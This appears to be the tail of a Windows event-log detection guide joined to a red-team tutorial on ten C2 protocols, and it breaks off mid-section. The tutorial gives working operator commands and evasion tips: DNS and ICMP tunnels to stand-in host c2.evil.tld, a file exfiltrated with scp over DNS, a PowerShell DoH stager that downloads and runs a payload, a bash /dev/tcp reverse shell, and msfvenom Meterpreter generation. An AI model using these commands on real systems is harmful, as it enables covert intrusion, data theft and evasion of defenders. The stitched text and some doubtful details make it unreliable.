Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=4624; StartTime=(Get-Date).AddDays(-7) } |
  ForEach-Object {
    $x    = [xml]$_.ToXml()
    $type = ($x.Event.EventData.Data | Where-Object Name -eq 'LogonType').'#text'
    if ($type -eq '10') {
      $user = ($x.Event.EventData.Data | Where-Object Name -eq 'TargetUserName').'#text'
      $src  = ($x.Event.EventData.Data | Where-Object Name -eq 'IpAddress').'#text'
      [PSCustomObject]@{ Time=$_.TimeCreated; User=$user; SourceIP=$src }
    }
  } | Sort-Object Time | Format-Table -AutoSize
# Also check the dedicated RDP log (retains data longer, less noisy)
Get-WinEvent -LogName 'Microsoft-Windows-TerminalServices-LocalSessionManager/Operational' |
  Where-Object Id -in @(21,25) |
  Select-Object TimeCreated, Message | Format-List

Install Sysmon: The Force Multiplier

All categories above use native Windows logs. Sysmon (System Monitor) by Microsoft Sysinternals supplements them with events that are:

• Process Create (Event 1): Richer than 4688 — includes MD5/SHA256/IMPHASH, parent command line, GUID-based process tree
• Network Connection (Event 3): Logs every outbound TCP/UDP connection with process name, hash, source/dest IP
• File Create (Event 11): Tracks file writes to disk — catches payload drops
• Registry Events (12/13/14): Registry key creation, modification, deletion
• Driver Load (Event 6): Detects rootkits and malicious driver loads
• DNS Query (Event 22): Every DNS lookup — reveals C2 domain names

References

• Yamato Security — EnableWindowsLogSettings — DFIR and Threat Hunting configuration guide (Oct 2025)
• CyberArk Labs — Detecting Pass-The-Hash with Windows Event Viewer + Ketshash tool
• Hive Security — LOLBins in 2026: How Attackers Use Windows Against Itself — CrowdStrike 2025 data, Jan 2026 RAT campaign analysis
• Lorikeet Security — Kerberoasting in 2026: Why Active Directory Is Still Vulnerable
• Expel SOC — MDR Insights: Tracking Lateral Movement in Windows (Dec 2024)
• The DFIR Spot — Lateral Movement — RDP Event Logs
• Securonix — Detecting LDAP Enumeration and BloodHound’s SharpHound via AD Decoys
• Elastic Detection Rules — defense_evasion_amsi_bypass_powershell
• Splunk — Windows Eventlog Cleared Via Wevtutil detection
• SwiftOnSecurity — sysmon-config
• Microsoft Defender for Identity — Configure Windows Event Auditing

What this post is about

A command and control (C2) channel is the link between an operator and an implant on a target. The protocol you choose decides whether your traffic blends in, survives egress filtering, and stays alive during a long engagement. This post walks through the ten protocols red teamers reach for most often.

Every protocol section follows the same structure so you can compare them easily: what the protocol is in plain English, how it works at the wire level, why red teamers use it, how it carries C2 traffic step by step, real world APT groups that have used it, one or two verified GitHub tools with install and usage commands, a concrete red team usage example, and operational notes from the field.

How to choose a C2 protocol

Pick the protocol based on what the target network allows out and what it expects to see. The decision is almost always about egress, not about the protocol itself:

• HTTP/HTTPS. Default when outbound web is open. Blends with the largest traffic volume.
• DNS. When TCP and UDP egress are blocked but DNS to the internet is allowed.
• DoH. When you need DNS tunneling but want to hide it inside HTTPS from DNS inspectors.
• SMB named pipes. For pivoting between internal hosts without any host touching the internet directly.
• ICMP. Last resort when every other egress path is closed but ping still works.
• Raw TCP. Fast interactive shell inside the internal network or behind a pivot.
• WebSockets. When you need instant push of tasks without waiting for the next checkin.
• QUIC. Modern cover over UDP 443 with 0-RTT beaconing and connection migration.
• gRPC. Looks like legitimate microservice traffic inside modern enterprise networks.
• WireGuard. When you want a full VPN interface through the implant for pivoting any tool.

Protocol 1: HTTP and HTTPS (Web C2)

What it is

HTTP and HTTPS are the protocols your browser uses to load web pages. HTTPS is just HTTP wrapped in a TLS encryption layer. Because almost every network allows outbound web browsing, HTTP(S) is the default way implants talk to their operator.

How the protocol works at the wire level

An HTTP C2 transaction is a normal web request and response. The implant sends a GET or POST to a URL on the C2 server. The request carries headers (User-Agent, Cookie, custom headers) and the response carries a body, headers, or a redirect. The C2 data hides inside any of these fields.

Cobalt Strike malleable C2 profiles let the operator define exactly which HTTP fields carry tasking and results. A common pattern: the implant sends a GET with the task request encoded in a Cookie header like SESSIONID=<base64>, and the server returns the task in the response body disguised as a normal web page. A POST request then carries the command output back, again hidden in a cookie or in the body of what looks like a form submission.

The key insight: to a packet capture, the C2 traffic is indistinguishable from a user browsing a website. The only tells are timing (regular beaconing), the TLS fingerprint (a Go or .NET binary has a different JA3 hash than Chrome), and the destination IP and ASN.

Why red teamers use it

• Blends with the largest volume of normal traffic on the network.
• Egress firewalls and proxies almost always allow port 443 outbound.
• TLS hides the payload from passive network inspection.
• Easy to hide behind a redirector (CDN, reverse proxy, compromised site) to protect the real C2 server.

How it carries C2

1. The implant beacons to a URL on the C2 server on a fixed or jittered sleep interval, for example 30 seconds plus up to 10 seconds of random jitter.
2. The server responds with a task encoded in the body, a header, a cookie, or a redirect.
3. The implant executes the task and posts results back in the next request.
4. HTTPS adds the TLS layer so the request and response look like normal web browsing to anyone watching the wire.

Real-world APT usage

Cobalt Strike, the most widely used commercial C2 among both red teamers and threat actors, relies on HTTP(S) malleable C2. Palo Alto Unit 42 has documented real threat actors hiding their HTTP beacons behind legitimate domains (forged Host headers) and public cloud IPs to evade detection. APT29, also known as Cozy Bear, has used HTTP(S) C2 channels disguised as legitimate web traffic in multiple intrusions.

Tools with GitHub references

Sliver (Bishop Fox)

• GitHub: https://github.com/bishopfox/sliver
• Language: Go
• Transports: HTTP(S), DNS, mTLS, WireGuard
• Install and run:

git clone https://github.com/bishopfox/sliver.git
cd sliver && make
./sliver
# In the sliver console, start an HTTP listener:
sliver > http
# Generate an implant that beacons over HTTP:
sliver > generate --http http://your-c2.example.com

Covenant (cobbr)

• GitHub: https://github.com/cobbr/covenant
• Language: C# / .NET Core
• A collaborative .NET C2 framework with a web UI for operators
• Install and run:

git clone --recurse-submodules https://github.com/cobbr/covenant
cd Covenant/Covenant
dotnet run
# Open https://127.0.0.1:7443 in a browser to access the operator UI

Red team usage example

A Sliver HTTP beacon checking in every 30 seconds with jitter:

sliver > generate --http https://cdn-front.example.com --skip-symbols --os windows
sliver > http --domain cdn-front.example.com --profile default

The beacon sleeps for the interval plus a random jitter, then issues a GET to a randomized path, picks up a task in the response body, runs it, and POSTs the output in the next checkin. From a network perspective it looks like a client browsing a website.

Operational notes

• Use a redirector (Cloudflare, nginx, a compromised site) in front of the C2 so blue team sees the redirector IP, not your server.
• Randomize user agents, paths, and checkin intervals to avoid beaconing patterns.
• Watch for TLS fingerprint mismatches. A Go or .NET TLS handshake looks different from a real Chrome handshake. Use a TLS spoofing layer (Sliver HTTP C2 profiles, or a JA3 spoofing proxy) to match.

Protocol 2: DNS (DNS Tunneling)

What it is

DNS is the protocol that turns domain names like example.com into IP addresses. Because almost every network allows DNS to the internet, attackers use DNS queries and responses as a covert transport when no other egress path is open.

How the protocol works at the wire level

A DNS query has a strict structure. The question section carries a domain name split into labels separated by dots. Each label can be up to 63 characters, and the whole name can be up to 255 characters. That label space is where the C2 data rides.

The implant encodes its data (usually base32, because base32 is case insensitive and DNS labels are case insensitive) and splits it into label-sized chunks. So a chunk of data becomes a subdomain like ojzgc5dbofqwg33emv4gc3lq.c2.evil.tld. The C2 server is the authoritative DNS server for c2.evil.tld, so it receives the query, reads the subdomain, base32 decodes it back into the original bytes, and responds.

Responses carry data back. TXT records are the most common because a TXT record can hold up to 255 characters of arbitrary text per string and a single response can hold multiple strings, giving roughly 150 to 250 bytes of payload per round trip. CNAME and A records are also used for smaller responses.

Bandwidth is low: roughly 10 to 50 KB per second in practice, because each round trip is one DNS query and there is round trip latency to the resolver. But that is plenty for shell tasking and small file exfiltration over time.

Why red teamers use it

• DNS is almost never fully blocked at the egress boundary.
• Encoded data rides inside subdomain labels (queries) and TXT, CNAME, or A records (responses).
• Works from inside networks that block all direct TCP/UDP egress.
• A patient attacker can exfiltrate megabytes over hours through DNS alone.

How it carries C2

1. The operator registers an authoritative DNS domain, for example c2.evil.tld.
2. The implant encodes data with base32 and splits it into label-sized chunks.
3. The implant issues DNS queries for random subdomains like base32payload.c2.evil.tld.
4. The authoritative DNS server (the C2 server) decodes the subdomain label back into the data the implant sent.
5. The server answers with TXT or CNAME records that carry the response data, encoded the same way.
6. The implant decodes the answer and acts on it.

Real-world APT usage

DNS tunneling is a favorite of financially motivated ransomware groups and state sponsored APTs alike. APT29 (Cozy Bear) has used DNS for covert C2. The SolarWinds supply chain attackers used DNS based infrastructure. Threat actors including APT41 have used DNS tunneling for both C2 and data exfiltration because DNS is so rarely fully blocked. DNS tunneling is now considered a baseline capability for any serious intrusion that survives egress locked environments.

Tools with GitHub references

dnscat2 (iagox86)

• GitHub: https://github.com/iagox86/dnscat2
• Language: Ruby (server) and C (client)
• A dedicated DNS tunnel that gives you a shell over DNS
• Install and run:

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
ruby ./dnscat2.rb c2.evil.tld
# On the target:
./dnscat2 c2.evil.tld

iodine (yarrick)

• GitHub: https://github.com/yarrick/iodine
• Language: C
• Tunnels IP traffic over DNS, giving you a full network interface over DNS
• Install and run:

git clone https://github.com/yarrick/iodine.git
cd iodine && make
# On the server:
./iodined -f 172.16.0.1 c2.evil.tld
# On the target:
./iodine c2.evil.tld
# You now have a TUN interface (172.16.0.x) and can SSH or run tools over it

Red team usage example

Exfiltrating a file with iodine:

# Target side: tunnel up, then push data over the DNS TUN interface
./iodine -r c2.evil.tld
scp secret.txt user@172.16.0.1:/tmp/

Every byte of the SCP stream is encoded into DNS queries to c2.evil.tld and sent out through the resolver chain.

Operational notes

• DNS is slow. Bandwidth is roughly 10 to 50 KB per second, enough for shell tasking but painful for large file transfers.
• Many modern DNS gateways and next gen firewalls flag high volume TXT queries or unusually long subdomains. Use short labels and spread traffic across many domains if you need volume.
• Resolver caching can stall your channel. Use random query IDs and short TTLs on your authoritative records.

Protocol 3: DNS over HTTPS (DoH)

What it is

DoH is DNS queries sent over HTTPS to a DoH resolver like dns.google or cloudflare-dns.com. It wraps DNS in TLS so the DNS traffic itself is hidden inside normal HTTPS web traffic.

How the protocol works at the wire level

Instead of sending a DNS query over UDP 53 (which DNS aware proxies can see and inspect), the implant makes an HTTPS GET to a DoH resolver. The query is sent as a URL parameter, and the response comes back as JSON or a DNS wire-format blob inside the HTTPS body.

A typical DoH request looks like GET https://dns.google/resolve?name=base32payload.c2.evil.tld&type=TXT. The DoH resolver (Google, Cloudflare, Quad9) receives this, does the actual DNS lookup against your authoritative server, gets the TXT answer, and returns it inside a JSON response. From the enterprise network's perspective, the only thing visible is an HTTPS connection to dns.google, which looks exactly like a browser or app doing normal DNS resolution.

The cover is strong: the destination IP is a trusted public resolver, the connection is encrypted, and the content is JSON that does not look like a tunnel. The only thing that can flag it is statistical analysis of the query volume or patterns at the resolver itself, or blocking of known DoH endpoints.

Why red teamers use it

• Hides DNS tunneling inside HTTPS, so even DNS aware proxies that inspect UDP 53 do not see the tunnel.
• Uses well known public resolvers, so the destination IP is a trusted service, not your C2 server.
• Combines the egress friendliness of DNS with the cover of HTTPS.

How it carries C2

1. The implant makes an HTTPS GET to https://dns.google/resolve?name=base32payload.c2.evil.tld&type=TXT.
2. The DoH resolver forwards the query to your authoritative DNS server.
3. Your server answers with a TXT record carrying the encoded response.
4. The DoH resolver returns it to the implant inside a normal HTTPS JSON response.
5. The implant parses the JSON, decodes the TXT record, and acts on the task.

Real-world APT usage

DoH as a C2 channel was popularized by Outflank’s 2018 research on building resilient C2 infrastructure with DNS over HTTPS. Real threat actors have adopted DoH because it defeats classic DNS monitoring. The KE3CHANGE group and various infostealer operators have used DoH to hide DNS based tasking. Because DoH uses public resolvers, it is hard to block without breaking legitimate applications that also use DoH.

Tools with GitHub references

DoHC2 (SpiderLabs)

• GitHub: https://github.com/spiderlabs/dohc2
• Language: Python and C#
• An ExternalC2 provider that pipes C2 traffic through DNS over HTTPS
• Install and run:

git clone https://github.com/spiderlabs/dohc2.git
cd dohc2
# Configure your DoH resolver and authoritative domain in the config
python3 dohc2.py --domain c2.evil.tld --doh https://dns.google/resolve

Red team usage example

A PowerShell stager that uses DoH to fetch its next stage:

$resp = (New-Object System.Net.Webclient).DownloadString("https://dns.google/resolve?name=task.c2.evil.tld&type=TXT")
# Parse the TXT answer from the JSON, base64 decode it, and IEX the payload
$task = ($resp | ConvertFrom-Json).Answer.data
IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($task)))

The DNS query is invisible to a classic DNS monitor because it rides inside HTTPS to Google. The resolver sees the query, but the enterprise DNS sensor on UDP 53 does not.

Operational notes

• Use public DoH endpoints (dns.google, cloudflare-dns.com, quad9) so the destination looks legitimate.
• DoH still generates DNS queries at the resolver. A resolver that logs and analyzes query patterns can still flag tunneling.
• Some corporate proxies block known public DoH endpoints. Have a fallback to plain DNS or HTTP C2.

Protocol 4: SMB Named Pipes

What it is

SMB (Server Message Block) is the Windows file and print sharing protocol. Named pipes are a Windows inter-process communication (IPC) mechanism that lets two processes exchange data over SMB. Every Windows pipe lives under the special path \\.\pipe\ locally, or \\TARGET\pipe\ when accessed remotely over SMB.

How the protocol works at the wire level

A named pipe has a server side and a client side. The server process creates the pipe and listens on it. The client process connects to the pipe name. The pipe is duplex, meaning both sides can read and write. In byte mode, data flows as a continuous stream of bytes. In message mode, data flows as discrete messages.

When the client and server are on different machines, the pipe traffic rides over SMB. SMB lets a client open a remote pipe with a transaction, then read and write blocks of data to and from the pipe’s memory buffer on the server. From the network’s perspective, this is normal SMB traffic on port 445, the same protocol Windows uses for file shares, group policy, and admin tools.

For C2, an internet connected beacon creates a pipe like \\.\pipe\msagent_x1. An internal beacon connects to \\INTERNETHOST\pipe\msagent_x1 over SMB. The internet beacon reads tasks from its internet C2 channel and writes them into the pipe. The internal beacon reads the pipe, runs the task, and writes results back. The internal host never talks to the internet directly.

Why red teamers use it

• SMB named pipe traffic stays inside the internal network and never touches the egress boundary.
• A pivot beacon connects to a beacon on an internal host, which then relays traffic to the internet. This hides the real C2 endpoint from the internal host.
• Named pipes blend with normal Windows administrative traffic, so they are easy to miss on internal network monitoring.
• Lets you chain multiple hops deep into a network behind a single internet connected host.

How it carries C2

1. An internet connected beacon (the pivot) creates a named pipe like \\.\pipe\msagent_x1.
2. An internal beacon connects to \\TARGET\pipe\msagent_x1 over SMB.
3. The pivot reads task data from its internet C2 channel and writes it into the pipe.
4. The internal beacon reads the pipe, runs the task, and writes results back into the pipe.
5. The pivot forwards the results back out to the C2 server.

Real-world APT usage

SMB named pipe pivoting is a signature technique of Cobalt Strike, used by both red teams and threat actors in the wild. Hunt teams look for pipe connections paired with SMB network connections within short time windows to catch this exact behavior. APT groups including FIN7 and Ryuk operators have used SMB named pipe pivots to chain beacons deep inside networks behind a single internet connected host. The Elastic stack documents named pipe detection as a core hunt for SMB beacon activity.

Tools with GitHub references

Havoc Framework

• GitHub: https://github.com/havocframework/havoc
• Language: C, Go, Python
• An open source C2 framework with SMB named pipe pivoting built in
• Install and run:

git clone https://github.com/havocframework/havoc.git
cd Havoc
make ts-build
./havoc server --profile ./profiles/havoc.yaotl -v --debug
# In another terminal:
make client-build
./havoc client

xPipe (boku7)

• GitHub: https://github.com/boku7/xpipe
• Language: C (Cobalt Strike BOF)
• A BOF that lists all named pipes on a host so you can spot pivot pipes and enumerate pipe based C2 channels
• Install and run:

git clone https://github.com/boku7/xpipe.git
# Load the aggressor script in Cobalt Strike, then:
beacon> xpipe

Red team usage example

A Havoc SMB pivot from an internal host to an internet beacon:

# On the internet connected beacon, open an SMB listener:
beacon> listen smb pipe=msagent_x1
# On the internal beacon, connect back over SMB:
beacon> connect smb 10.0.0.5 pipe=msagent_x1

The internal beacon now routes all its traffic through the pivot, never talking to the internet directly. From the internal host, the only network activity is SMB to a peer inside the network.

Operational notes

• Default pipe names from popular frameworks are well known detection signatures. Always rename the pipe to something plausible like msagent_, status_, or scvhost_.
• SMB pivoting requires port 445 access between the two hosts. It works between any two Windows hosts in the same domain or workgroup.
• Chain pivots carefully: each hop adds latency. Use pivots only for the internal segment that needs them.

Protocol 5: ICMP (Ping Tunneling)

What it is

ICMP is the protocol that carries ping and destination unreachable messages. An ICMP echo request (what you send when you ping) and its echo reply each have a data payload field that almost nobody inspects, which makes them a useful covert channel.

How the protocol works at the wire level

An ICMP echo packet has a small header (type, code, checksum, identifier, sequence number) followed by a data payload. On most networks that payload can be up to roughly 1472 bytes after subtracting the IP and ICMP headers from the typical 1500 byte MTU. Almost no network monitor inspects that data field because ping is considered harmless diagnostic traffic.

For C2, the implant puts encoded data into the data field of ICMP echo requests it sends to the C2 server. The C2 server puts response data into the data field of the echo replies it sends back. Larger payloads are fragmented across multiple pings and reassembled on the other side. To a network monitor, the traffic just looks like one host pinging another, which is normal.

Bandwidth is low, roughly 1 to 10 KB per second in practice, because each packet is small and there is round trip latency. That is enough for shell tasking but not for large file transfers.

Why red teamers use it

• ICMP is allowed through almost every firewall because ping is considered harmless.
• The ICMP echo reply data field is rarely inspected by network monitors.
• Works when TCP and UDP egress are blocked but ICMP is allowed.
• Useful for exfiltrating small amounts of data or a low bandwidth reverse shell.

How it carries C2

1. The implant sends ICMP echo requests to the C2 server with encoded data in the echo data field.
2. The C2 server replies with ICMP echo replies, also carrying encoded data in the data field.
3. Each ping packet carries a small chunk, up to roughly 1472 bytes on most networks.
4. The implant and server fragment larger payloads across multiple pings and reassemble them.

Real-world APT usage

ICMP tunneling has been documented in real APT toolsets. The Hamdan tunneling tool used by the APT group behind the Hamas-linked campaign tunneled C2 over ICMP. The Cosmic Lyme backdoor used ICMP for covert communication. Red teams use ICMP as the classic last resort channel when TCP and UDP egress are blocked but ping still works, because ping is almost never filtered.

Tools with GitHub references

icmpdoor (krabelize)

• GitHub: https://github.com/krabelize/icmpdoor
• Language: Python 3 with scapy
• An ICMP reverse shell that tunnels command and control through ICMP echo packets
• Install and run:

git clone https://github.com/krabelize/icmpdoor.git
cd icmpdoor
pip3 install scapy
# On the server:
python3 icmpdoor.py -i -d C2_IP -dst VICTIM_IP
# On the victim:
python3 icmpdoor.py -r -d VICTIM_IP -dst C2_IP

icmpsh (bdamele)

• GitHub: https://github.com/bdamele/icmpsh
• Language: C (server on the operator side), Python (client on the target)
• A simple reverse ICMP shell, good for a quick proof of concept
• Install and run:

git clone https://github.com/bdamele/icmpsh.git
# On the operator:
./icmpsh_m.py 192.168.1.1 192.168.1.10
# On the target:
icmpsh.exe -t 192.168.1.1 -d 500 -b 30 -s 128

Red team usage example

A reverse shell over ICMP from a locked down host:

# Target: tunnel a shell out through ping
python3 icmpdoor.py -r -d VICTIM_IP -dst C2_IP
# Operator: receive the shell and type commands
python3 icmpdoor.py -i -d C2_IP -dst VICTIM_IP
$ whoami
nt authority\system

The shell commands and output ride inside ICMP echo packets, invisible to a TCP/UDP egress filter. The host looks like it is just pinging an external IP.

Operational notes

• ICMP is low bandwidth. Expect 1 to 10 KB per second in practice, enough for shell tasking but not large file transfers.
• Some next gen firewalls flag ICMP echo packets with unusually large or unusual data payloads. Keep payloads small and randomize the data field.
• ICMP tunnels do not work if the network blocks outbound ICMP, which is rare but possible in strict environments.

Protocol 6: TCP (Raw Reverse Shell)

What it is

A raw TCP socket is the simplest possible C2 transport. The implant opens a TCP connection to the operator and streams bytes back and forth with no application protocol on top. This is the classic reverse shell.

How the protocol works at the wire level

TCP is a reliable, ordered, byte-stream protocol. The implant calls connect() to the operator IP and port. Once the three way handshake (SYN, SYN-ACK, ACK) completes, both sides have a bidirectional byte stream.

For a raw reverse shell, the implant spawns a shell (cmd.exe or /bin/sh) and binds the shell’s stdin, stdout, and stderr to the socket file descriptor. Every byte the operator types goes into the shell, and every byte the shell outputs goes back over the socket. There is no framing, no encryption, and no protocol. It is just a pipe.

For Meterpreter, the same TCP socket carries a binary protocol. Meterpreter multiplexes logical channels (a shell channel, a file transfer channel, a routing channel) over the single TCP stream, with its own packet structure (header with type and length, then payload). This lets one TCP connection run many operations in parallel.

Why red teamers use it

• Minimal footprint: a few lines of code open a socket and pipe a shell.
• Works on any network that allows outbound TCP, which is most internal networks.
• Fast, reliable, and bidirectional. No HTTP overhead.
• The foundation for higher level transports like Meterpreter.

How it carries C2

1. The implant connects to the operator IP on a chosen port.
2. The implant spawns a shell and binds its stdin, stdout, and stderr to the socket.
3. The operator types into the socket, the shell runs the command, and the output streams back over the same socket.
4. For Meterpreter, the same TCP socket carries a binary protocol that multiplexes channels for shells, file transfers, and routing.

Real-world APT usage

Raw TCP reverse shells are everywhere in real intrusions, usually as the first stage foothold before a more sophisticated C2 is deployed. Metasploit Meterpreter over TCP is one of the most common payloads seen in both red team engagements and real threat actor campaigns. Threat actors from commodity ransomware crews to APT41 have used raw TCP shells for initial access, often upgrading to HTTP(S) or DNS C2 once persistence is established.

Tools with GitHub references

Metasploit Framework (rapid7)

• GitHub: https://github.com/rapid7/metasploit-framework
• Language: Ruby, C, assembly payloads
• The standard open source exploitation framework, with the Meterpreter payload that runs a binary C2 protocol over TCP
• Install and run:

git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
bundle install
./msfconsole
# Generate a TCP Meterpreter payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe
# Set up a listener:
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > set LHOST 10.0.0.1
msf6 > set LPORT 4444
msf6 > run

Red team usage example

A raw netcat style reverse shell one liner for a Linux target:

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
# Operator side:
nc -lvnp 4444

For a Windows Meterpreter TCP beacon, the same socket carries the full Meterpreter protocol with file transfer, routing, and post exploitation modules.

Operational notes

• Raw TCP C2 does not blend with normal traffic. A long lived TCP session to an unknown IP is suspicious on a network monitor. Use it for short interactive sessions or behind a pivot.
• Meterpreter over TCP can be detected by its fixed handshake. Use staged payloads and sleep masks to reduce the time the channel is open.
• Pair raw TCP with a pivot: an internal host connects to your pivot over TCP, and the pivot forwards to the internet over HTTPS. This keeps the raw TCP off the egress path.

Protocol 7: WebSockets

What it is

WebSockets are full duplex, persistent connections upgraded from an initial HTTP handshake. Once upgraded, both sides can push messages at any time without reissuing HTTP requests. It is the protocol behind real time web apps like chat and live trading.

How the protocol works at the wire level

A WebSocket starts life as a normal HTTP request. The client sends Upgrade: websocket and a Sec-WebSocket-Key header. The server responds with 101 Switching Protocols and a Sec-WebSocket-Accept header. From that point on, the TCP connection is no longer HTTP. It carries WebSocket frames.

A WebSocket frame has a 2 to 14 byte header: a FIN bit, an opcode (0x1 for text, 0x2 for binary, 0x8 for close, 0x9 for ping, 0xA for pong), a mask bit, a payload length, a 4 byte masking key (client to server only), and then the payload. Client to server frames are XOR masked with the key to prevent cache poisoning through intermediaries. Server to client frames are not masked.

For C2, text frames carry JSON commands and binary frames carry file transfers. Because the connection stays open, the server can push a task the instant it is queued, and the agent streams the result back on the same connection. There is no polling and no beaconing interval.

Why red teamers use it

• Persistent: the operator can push tasks to the implant instantly, no waiting for the next checkin.
• Bidirectional: implants report results and operators send commands on the same socket.
• Looks like a normal HTTPS upgrade, so it blends with web traffic.
• Supported natively by browsers, so you can drive a C2 from a browser extension or a web based implant.

How it carries C2

1. The implant opens an HTTPS connection and sends an Upgrade: websocket request.
2. The server responds with 101 Switching Protocols and the connection becomes a WebSocket.
3. Both sides send frames: text frames for JSON commands, binary frames for file transfers.
4. The channel stays open. The operator pushes a task, the implant runs it, and the result streams back as a frame.

Real-world APT usage

WebSockets are increasingly common in modern C2 frameworks because they enable real time interactivity. Mythic uses WebSockets for its agent to server and operator to server links. Threat actors who build custom browser based implants use WebSockets because they work from inside a browser context and persist across page loads. The persistence and push capability makes WebSockets a strong choice for long lived interactive sessions that need instant task delivery.

Tools with GitHub references

Mythic (its-a-feature)

• GitHub: https://github.com/its-a-feature/mythic
• Language: Go, Docker, React
• A multi agent C2 framework that uses GraphQL and WebSockets to coordinate agents and operators
• Install and run:

git clone https://github.com/its-a-feature/mythic.git
cd mythic
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
sudo ./mythic-cli start
# Open https://127.0.0.1:7443 in a browser

Poseidon (MythicAgents)

• GitHub: https://github.com/MythicAgents/poseidon
• Language: Go
• A Mythic agent for Linux and macOS that talks to the Mythic server over WebSockets
• Install and run:

sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon
# Generate a Poseidon agent in the Mythic UI and deploy it on the target

Red team usage example

A Mythic WebSocket agent checking in and receiving a task:

# In the Mythic UI, generate a Poseidon agent with the websocket C2 profile
# Deploy the agent binary on the target
# The agent opens a WSS connection to the Mythic server
# Operator pushes a task: shell whoami
# Agent executes and streams the output back over the same WebSocket frame

The operator does not poll. The instant a task is queued, the server pushes it down the open WebSocket, and the agent runs it and returns the result on the same frame.

Operational notes

• WebSocket connections stay open, which is great for interactivity but means a network monitor can see a long lived connection. Use a CDN or redirector to hide the destination.
• The initial HTTP upgrade is plain text before TLS if you use ws://. Always use wss:// so the upgrade is encrypted.
• Mythic agents can switch C2 profiles, so you can fall back from WebSocket to HTTP beaconing if the WebSocket channel is detected.

Protocol 8: QUIC (HTTP/3 Transport)

What it is

QUIC is a modern transport protocol built on UDP that carries HTTP/3. It combines TLS 1.3 encryption, multiplexed streams, and 0-RTT connection setup in a single protocol. It is what Google and Cloudflare use for fast, secure web connections.

How the protocol works at the wire level

QUIC lives on UDP, usually port 443. The handshake combines the TLS 1.3 handshake with the transport handshake so they happen in the same round trips. A normal QUIC connection takes 1 to 1.5 round trips to establish. With 0-RTT resumption, a client that has connected to the server before can send application data on the very first packet, using keys derived from the previous session.

Once established, a QUIC connection carries multiple streams. Each stream is an independent, ordered byte stream, and streams are multiplexed over the single UDP connection without head of line blocking (a lost packet stalls only the stream it belongs to, not the whole connection). QUIC also supports connection migration: the connection is identified by a connection ID, not by the IP and port tuple, so if the client changes IP (say, switching from Wi-Fi to cellular), the connection survives.

For C2, this means the implant can beacon on the first packet (0-RTT), open separate streams for tasking, file transfer, and shell output, and keep the channel alive across network changes. All of it is encrypted under TLS 1.3 and looks like HTTP/3 web traffic.

Why red teamers use it

• 0-RTT means the implant can send data on the very first packet, no handshake round trips, so beaconing is fast and stealthy.
• QUIC traffic looks like modern web browsing (HTTP/3 over UDP 443), which is increasingly common and not yet deeply inspected by most IDS.
• Multiplexed streams let the C2 send tasks and receive results on independent streams over one connection.
• Connection migration means the implant can change IP and keep the connection alive, useful on mobile or roaming targets.

How it carries C2

1. The implant sends a QUIC ClientHello and 0-RTT data to the C2 server on UDP 443.
2. The server completes the TLS 1.3 handshake and accepts the 0-RTT payload.
3. The implant opens QUIC streams: one for tasking, one for file transfer, one for shell output.
4. Both sides send data over the streams, all encrypted under the single TLS session.

Real-world APT usage

QUIC as a C2 transport is newer but growing. Merlin added QUIC support specifically to evade detection over HTTP/3, since most IDS does not yet deeply inspect QUIC. Red teams adopt QUIC when they need to blend with modern web traffic that uses HTTP/3 (Google services, Cloudflare fronted sites). Because QUIC over UDP 443 is increasingly normal, expect more threat actors to move to it as inspection matures.

Tools with GitHub references

Merlin (Ne0nd0g)

• GitHub: https://github.com/Ne0nd0g/merlin
• Language: Go
• A cross platform C2 that added QUIC as a transport to evade detection over HTTP/3
• Install and run:

git clone https://github.com/Ne0nd0g/merlin.git
cd merlin
go build -o merlin
# Start the server with a QUIC listener:
./merlin server -i 0.0.0.0 -p 443 -t quic
# Generate an agent that uses QUIC:
./merlin agent -t quic -h https://your-c2.example.com:44

Red team usage example

A Merlin QUIC agent beaconing over UDP 443:

# Operator: start a QUIC listener
./merlin server -i 0.0.0.0 -p 443 -t quic
# Generate and deploy the agent
./merlin agent -t quic -h https://cdn.example.com:443
# The agent beacons over HTTP/3, sends 0-RTT data on the first packet,
# and opens QUIC streams for tasks and output

The very first packet from the implant already carries C2 data. There is no handshake delay, which makes the beacon hard to catch with handshake based detection rules.

Operational notes

